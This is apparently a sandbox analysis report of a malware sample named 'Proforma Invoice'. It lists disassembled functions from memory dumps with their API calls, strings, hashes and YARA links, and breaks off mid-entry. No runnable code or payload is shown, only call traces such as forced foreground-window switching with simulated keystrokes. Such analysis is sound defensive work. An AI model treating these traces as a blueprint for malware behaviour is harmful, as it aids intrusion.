Instruction ID: 6838f860ca7fbac472fe5a864239d902dc09da631496eb49a77c26bc71d69850
Opcode Fuzzy Hash: 9acdd496d63828723820bc89da77996313a25cbdedfa715b76b7eb407e760a42
Instruction Fuzzy Hash: A7313C31A00A09AFCB18EF6CC494AADB7B6FF45311F158629E81693714D770BD90CFA1

Function 006DFCAC Relevance: 1.6, APIs: 1, Instructions: 88COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 006DFCB7

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: a63dabe75c2187d70ab4e44bea37e56d1c56910c0c558144dadc4136a2a1220a
Instruction ID: a24ff66179ccce10fd7d2eedbc4dace0249d2c2023027a43ffc7da78a3ec9d05
Opcode Fuzzy Hash: a63dabe75c2187d70ab4e44bea37e56d1c56910c0c558144dadc4136a2a1220a
Instruction Fuzzy Hash: 644117749043419FDB14DF14C444B5ABBE2BF49314F0988ACE89A8B762C371EC45CF56

Function 006A59B9 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 006A5A01

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 85759a854ba029bf67ef2d925c77da5c8078574f3cd5632028c6ea43330c340e
Instruction ID: 90385e160a84080ddf8be3b3cf33db1b464d678346cf577f705f8fa8ea75cee8
Opcode Fuzzy Hash: 85759a854ba029bf67ef2d925c77da5c8078574f3cd5632028c6ea43330c340e
Instruction Fuzzy Hash: 7821E772D10B08EBDB10AF61E8816AA7BBEFF05351F21846FE48AD5210EBB494D0D749

Function 006A4DDD Relevance: 1.6, APIs: 1, Instructions: 64libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 006A4BB5: FreeLibrary.KERNEL32(00000000,?), ref: 006A4BEF

Part of subcall function 006C525B: __wfsopen.LIBCMT ref: 006C5266

LoadLibraryExW.KERNEL32(?,00000000,00000002,?,007652F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 006A4E0F

Part of subcall function 006A4B6A: FreeLibrary.KERNEL32(00000000), ref: 006A4BA4

Part of subcall function 006A4C70: _memmove.LIBCMT ref: 006A4CBA

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Library$Free$Load__wfsopen_memmove
String ID:
API String ID: 1396898556-0
Opcode ID: 5f70865546a7a90429bd9aca4ae63e8e5de54b272b1b0672dcd681fefe5d5c1a
Instruction ID: 8346493c0d4735b9a73320c05e73894c7974ecf0373d001d5452883423835380
Opcode Fuzzy Hash: 5f70865546a7a90429bd9aca4ae63e8e5de54b272b1b0672dcd681fefe5d5c1a
Instruction Fuzzy Hash: 9611BF31600205ABCB11BF70CC16FAD77AAABC5750F10882DF542A6182EEF59E01AB64

Function 006DFD85 Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 006DFD91

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ClearVariant
String ID:
API String ID: 1473721057-0
Opcode ID: 027abb6ed20727a7697d72653595a049815e69de1b152af874f19ac6333aac8d
Instruction ID: b790c4b150a45e9ea3847f45b4930baf84e9ed833284d4c766880dfca84fbec5
Opcode Fuzzy Hash: 027abb6ed20727a7697d72653595a049815e69de1b152af874f19ac6333aac8d
Instruction Fuzzy Hash: 8D2122B4908341DFDB24EF64C444A5ABBE2BF89314F04886CE88A87722D731E805CF92

Function 006A5BC0 Relevance: 1.6, APIs: 1, Instructions: 53fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00010000,?,00000000,00000000,?,00010000,?,006A56A7,00000000,00010000,00000000,00000000,00000000,00000000), ref: 006A5C16

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 69713887f3840714964f267c7779f1e9840b8c933a34ca69d886bcc7f13a8bab
Instruction ID: 516483da8c15785e485d545932689a71031c966c8f527b7fb88e722d5e6f7215
Opcode Fuzzy Hash: 69713887f3840714964f267c7779f1e9840b8c933a34ca69d886bcc7f13a8bab
Instruction Fuzzy Hash: 9C111375200B049FD320DF19C880BA2B7EAAF45761F10C92EE9AB86A51D7B0EC45CF60

Function 006A5A7A Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 006DDD18

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 14d5dc22de30b69a2dca6a7e42185d7ce86be11b0e2de9582ebe648f8a374807
Instruction ID: 758fdf58fd98cc1045d88aff82099e4211a7cf88d5f8bbd7c0336a8a3d6733aa
Opcode Fuzzy Hash: 14d5dc22de30b69a2dca6a7e42185d7ce86be11b0e2de9582ebe648f8a374807
Instruction Fuzzy Hash: D9017CB5600942AFC305EB68C441D26F7AAFF8A310714456DE91AC7702DB35EC21CBE4

Function 006C4863 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

__lock_file.LIBCMT ref: 006C48A6

Part of subcall function 006C8B28: __getptd_noexit.LIBCMT ref: 006C8B28

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __getptd_noexit__lock_file
String ID:
API String ID: 2597487223-0
Opcode ID: d4ebd477d5c37f3185a8c3dac834cca414de2b71543a34adbca230980725fc1b
Instruction ID: 2906873a6850454224817f25a00a1adc56889e690534be64823e7fd5c178223b
Opcode Fuzzy Hash: d4ebd477d5c37f3185a8c3dac834cca414de2b71543a34adbca230980725fc1b
Instruction Fuzzy Hash: A5F08131901645ABDF61EF648805BFE36A2EF10325F15441CB424971D1CF79C951DB55

Function 006A4E4A Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,007652F8,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?), ref: 006A4E7E

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 708d81fe6adaac7c337cc2eb53c5f5384c9b3af5a5438d71e65b5ab529b950fe
Instruction ID: cf3baa98fe01be841d91fcdd442eee41ae77f316b8c7849352db1fd7d1ed5181
Opcode Fuzzy Hash: 708d81fe6adaac7c337cc2eb53c5f5384c9b3af5a5438d71e65b5ab529b950fe
Instruction Fuzzy Hash: B3F03071505711CFCB34AF64D894852B7F2BF95325310893EE2D782611CBB19C40DF40

Function 006C0791 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 006C07B0

Part of subcall function 006A7BCC: _memmove.LIBCMT ref: 006A7C06

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: LongNamePath_memmove
String ID:
API String ID: 2514874351-0
Opcode ID: eb006fafbc3911755220605b065ee0164af247f1ebf1bbbd7e4d5ce2a3bfd7bb
Instruction ID: 4b7cd5f0a8e64de99a81879551d065eef6fd25c847bcd176ff25da3589b6eb47
Opcode Fuzzy Hash: eb006fafbc3911755220605b065ee0164af247f1ebf1bbbd7e4d5ce2a3bfd7bb
Instruction Fuzzy Hash: 96E0867690412857C720A6989C05FEA77EDDB8D6A1F0441BAFC08D7204D964AC808694

Function 00708E9F Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 00708EC1

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __fread_nolock
String ID:
API String ID: 2638373210-0
Opcode ID: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction ID: dce476fe4d30458c3ba9a7980405a64c14025b088daff188e2fb3fe0c947802c
Opcode Fuzzy Hash: 36e66934677415102e9643fee0822ecf6e22e0db5db5ed1a6e3653ba213ae753
Instruction Fuzzy Hash: B7E092B0104B009BD7788A24D800BA373E1EB05304F04091DF2EA83241EBA678418759

Function 006A5C4E Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,00000000,00000000,?,00000001,?,?,?,006DDD42,?,?,00000000), ref: 006A5C5F

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 5812133b4b470432cba33aa6ea2f237c832a28bba8dca4bb7fd4c4bc883fe342
Instruction ID: 1b80edb0609474ff3fae6239d265afa6404dfe22d686bc3115e91dbeb11d538f
Opcode Fuzzy Hash: 5812133b4b470432cba33aa6ea2f237c832a28bba8dca4bb7fd4c4bc883fe342
Instruction Fuzzy Hash: 75D0C77464020CBFE710DB80DC46FA9777CD705710F500195FD0456290D6B27D508795

Function 006C525B Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

__wfsopen.LIBCMT ref: 006C5266

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: __wfsopen
String ID:
API String ID: 197181222-0
Opcode ID: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction ID: cfed3e86aff4b2883a65b5363f975343bed0710bde59a830a7ed71c7b4074703
Opcode Fuzzy Hash: 6ddf6e1ab81d7b85eaff3423c11cf18e9f26fa56f97d638f5b10e7f164e3c6f3
Instruction Fuzzy Hash: 67B0927644020C77CE012A82EC02F597B5A9B417A4F408024FB0C18162A677A6A49A89

Function 0070D07B Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000002,00000000), ref: 0070D1FF

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: eff88c093368a5e79f25a79c7ba6000629d2602cccab097dee52fee4d6b312ba
Instruction ID: f83751a90fe34052fedb76d94d7fe0d90d30cd4e0f408adb75059cfacb36a640
Opcode Fuzzy Hash: eff88c093368a5e79f25a79c7ba6000629d2602cccab097dee52fee4d6b312ba
Instruction Fuzzy Hash: C0715D30204301CFC754EF64C491AAAB7E6BF8A314F144A2DF8969B2A2DB34ED45CF56

Function 006C0C08 Relevance: 1.3, APIs: 1, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE ref: 006C0CB7

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction ID: 45ded5435293817653da590ebc5e4fd37f39147deba79eb33a7aaacb6a96f38a
Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
Instruction Fuzzy Hash: 12319274A00105EBE718DF58C484AB9F7A6FB59310B6487A9E80ACB355DB31EDC2DBD0

Function 01E522A0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(000001F4), ref: 01E522B1

Memory Dump Source

Source File: 00000000.00000002.1769483837.0000000001E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 01E50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1e50000_Proforma Invoice.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction ID: 73725aac8129de5bdfd185035120566863bba1694d6fd1430a9ec23875a26935
Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
Instruction Fuzzy Hash: 0FE0E67594010EEFDB00EFB4D54969E7FB4EF04701F100161FD05E2281D6309D508A72

Non-executed Functions

Function 0072CABC Relevance: 75.9, APIs: 40, Strings: 3, Instructions: 632windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 006A2612: GetWindowLongW.USER32(?,000000EB), ref: 006A2623

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 0072CB37
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0072CB95
GetWindowLongW.USER32(?,000000F0), ref: 0072CBD6
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0072CC00
SendMessageW.USER32 ref: 0072CC29
_wcsncpy.LIBCMT ref: 0072CC95
GetKeyState.USER32(00000011), ref: 0072CCB6
GetKeyState.USER32(00000009), ref: 0072CCC3
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 0072CCD9
GetKeyState.USER32(00000010), ref: 0072CCE3
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0072CD0C
SendMessageW.USER32 ref: 0072CD33
SendMessageW.USER32(?,00001030,?,0072B348), ref: 0072CE37
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 0072CE4D
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 0072CE60
SetCapture.USER32(?), ref: 0072CE69
ClientToScreen.USER32(?,?), ref: 0072CECE
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 0072CEDB
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 0072CEF5
ReleaseCapture.USER32 ref: 0072CF00
GetCursorPos.USER32(?), ref: 0072CF3A
ScreenToClient.USER32(?,?), ref: 0072CF47
SendMessageW.USER32(?,00001012,00000000,?), ref: 0072CFA3
SendMessageW.USER32 ref: 0072CFD1
SendMessageW.USER32(?,00001111,00000000,?), ref: 0072D00E
SendMessageW.USER32 ref: 0072D03D
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0072D05E
SendMessageW.USER32(?,0000110B,00000009,?), ref: 0072D06D
GetCursorPos.USER32(?), ref: 0072D08D
ScreenToClient.USER32(?,?), ref: 0072D09A
GetParent.USER32(?), ref: 0072D0BA
SendMessageW.USER32(?,00001012,00000000,?), ref: 0072D123
SendMessageW.USER32 ref: 0072D154
ClientToScreen.USER32(?,?), ref: 0072D1B2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 0072D1E2
SendMessageW.USER32(?,00001111,00000000,?), ref: 0072D20C
SendMessageW.USER32 ref: 0072D22F
ClientToScreen.USER32(?,?), ref: 0072D281
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 0072D2B5

Part of subcall function 006A25DB: GetWindowLongW.USER32(?,000000EB), ref: 006A25EC

GetWindowLongW.USER32(?,000000F0), ref: 0072D351

Strings

F, xrefs: 0072D235
pbv, xrefs: 0072CEAF
@GUI_DRAGID, xrefs: 0072CE9C

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
String ID: @GUI_DRAGID$F$pbv
API String ID: 3977979337-3138203584
Opcode ID: 13b4737a03e3408e13619409525d161d6a60e3686973c8f46cf552c97b5c78e2
Instruction ID: 54c469f77c285c07edaacf76bf66cf1934ae32d04b86e5fba3bc58d7e6c0e592
Opcode Fuzzy Hash: 13b4737a03e3408e13619409525d161d6a60e3686973c8f46cf552c97b5c78e2
Instruction Fuzzy Hash: E442CA78204291EFDB22CF28E844EAABBE5FF49310F14452DF596872A0C739DC51DB96

Function 006B6F9E Relevance: 55.8, APIs: 19, Strings: 10, Instructions: 5018COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 006B71C3
_memset.LIBCMT ref: 006B7539
_memmove.LIBCMT ref: 006B76AC

Strings

Q\E, xrefs: 006B7FCB
\b(?<=\w), xrefs: 006F3773
DEFINE, xrefs: 006F2103
[:<:]], xrefs: 006B7479
\b(?=\w), xrefs: 006F3769
]u, xrefs: 006F1A22
P\u, xrefs: 006F1AB8
3ck, xrefs: 006F23A0
_k, xrefs: 006F23CB
[:>:]], xrefs: 006B7492

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: _memmove$_memset
String ID: ]u$3ck$DEFINE$P\u$Q\E$[:<:]]$[:>:]]$\b(?<=\w)$\b(?=\w)$_k
API String ID: 1357608183-1354788764
Opcode ID: bfcc1a9e5d2efc3664ee950d8cc1cbfc83390c57110e8a152ff5b59180907cea
Instruction ID: 287d6efb535c9fbf1a0fde0b04e3014200a56445995810280ae6a00a4a2b9b1b
Opcode Fuzzy Hash: bfcc1a9e5d2efc3664ee950d8cc1cbfc83390c57110e8a152ff5b59180907cea
Instruction Fuzzy Hash: 7C938275A04219DBDB24CF58C8917FDB7B2FF48710F24816AEA55AB381E7709E82CB50

Function 006A48D7 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 131keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,?), ref: 006A48DF
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 006DD665
IsIconic.USER32(?), ref: 006DD66E
ShowWindow.USER32(?,00000009), ref: 006DD67B
SetForegroundWindow.USER32(?), ref: 006DD685
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 006DD69B
GetCurrentThreadId.KERNEL32 ref: 006DD6A2
GetWindowThreadProcessId.USER32(?,00000000), ref: 006DD6AE
AttachThreadInput.USER32(?,00000000,00000001), ref: 006DD6BF
AttachThreadInput.USER32(?,00000000,00000001), ref: 006DD6C7
AttachThreadInput.USER32(00000000,?,00000001), ref: 006DD6CF
SetForegroundWindow.USER32(?), ref: 006DD6D2
MapVirtualKeyW.USER32(00000012,00000000), ref: 006DD6E7
keybd_event.USER32(00000012,00000000), ref: 006DD6F2
MapVirtualKeyW.USER32(00000012,00000000), ref: 006DD6FC
keybd_event.USER32(00000012,00000000), ref: 006DD701
MapVirtualKeyW.USER32(00000012,00000000), ref: 006DD70A
keybd_event.USER32(00000012,00000000), ref: 006DD70F
MapVirtualKeyW.USER32(00000012,00000000), ref: 006DD719
keybd_event.USER32(00000012,00000000), ref: 006DD71E
SetForegroundWindow.USER32(?), ref: 006DD721
AttachThreadInput.USER32(?,?,00000000), ref: 006DD748

Strings

Shell_TrayWnd, xrefs: 006DD660

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
